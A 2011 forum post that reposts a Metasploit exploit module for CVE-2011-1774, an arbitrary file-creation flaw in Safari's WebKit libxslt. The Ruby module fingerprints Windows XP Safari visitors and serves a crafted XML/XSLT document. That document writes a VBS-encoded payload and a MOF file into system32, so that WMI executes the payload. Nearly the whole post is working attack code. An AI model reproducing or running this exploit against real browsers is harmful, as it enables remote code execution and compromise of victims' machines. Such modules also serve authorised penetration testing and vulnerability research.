LLegoLLaS Posted October 18, 2011 Report Share Posted October 18, 2011 ### $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpServer::HTMLinclude Msf::Exploit::EXEinclude Msf::Exploit::WbemExecdef initialize(info = {})super(update_info(info,'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation','Description' => %q{This module exploits a file creation vulnerability in the Webkitrendering engine. It is possible to redirect the output of a XSLTtransformation to an arbitrary file. The content of the created file must beASCII or UTF-8. The destination path can be relative or absolute. This modulehas been tested on Safari and Maxthon. Code execution can be acheived by firstuploading the payload to the remote machine in VBS format, and then upload a MOFfile, which enables Windows Management Instrumentation service to execute the VBS.},'License' => MSF_LICENSE,'Author' => ['Nicolas Gregoire'],'Version' => '$Revision: 13987 $','References' =>[['CVE', '2011-1774'],['OSVDB', '74017'],['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],],'DefaultOptions' =>{'InitialAutoRunScript' => 'migrate -f',},'Payload' =>{'Space' => 2048,},'Platform' => 'win','Targets' =>[#Windows before Vista[ 'Automatic', { } ],],'DefaultTarget' => 0,'DisclosureDate' => 'Jul 20 2011'))enddef autofilterfalseenddef check_dependenciesuse_zlibenddef on_request_uri(cli, request)# Check target before attackingagent = request.headers['User-Agent']if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/print_error("This target isn't supported: #{agent.to_s}")send_not_found(cli)returnendurl = "http://"url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']url += ":" + datastore['SRVPORT'] + get_resource() + "/"content = <<-EOS<?xml-stylesheet type="text/xml" href="#fragment"?><!-- Define the DTD of the documentThis is needed, in order to later reference the XSLT stylesheet by a #fragmentThis trick allows to have both the XML and the XSL in the same fileCf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html --><!DOCTYPE doc [<!ATTLIST xsl:stylesheetid ID #REQUIRED>]><doc><!-- Define location and content of the files --><mof><location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location><content><![CDATA[#{@mof_content}]]></content></mof><vbs><location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location><content><![CDATA[#{@vbs_content}]]></content></vbs><!-- The XSLT stylesheet header, including the "sx" extension --><xsl:stylesheet id="fragment" version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:sx="http://icl.com/saxon"extension-element-prefixes="sx"xmlns="http://www.w3.org/1999/xhtml" ><xsl:output method="xml" indent="yes" /><!-- The XSLT template --><xsl:template match="/"><!-- Define some XSLT variables --><xsl:variable name="moflocation" select="//mof/location/text()"/><xsl:variable name="vbslocation" select="//vbs/location/text()"/><!-- Create the files --><sx:output file="{$vbslocation}" method="text"><xsl:value-of select="//vbs/content"/></sx:output><sx:output file="{$moflocation}" method="text"><xsl:value-of select="//mof/content"/></sx:output><!-- Some output to the browser --><html> </html></xsl:template></xsl:stylesheet></doc>EOS#Clear the extra tabscontent = content.gsub(/^\t\t/, '')print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")send_response(cli, content, {'Content-Type'=>'application/xml'})handler(cli)enddef exploit# In order to save binary data to the file system the payload is written to a VBS# file and execute it from there via a MOF@mof_name = rand_text_alpha(rand(5)+5) + ".mof"@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"print_status("Encoding payload into vbs...")payload = generate_payload_exe@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)print_status("Generating mof file...")@mof_content = generate_mof(@mof_name, @vbs_name)superendendCopyright 2011 - BugSearchAbout Us - Tell a Friend - Send sursa Quote Link to comment Share on other sites More sharing options...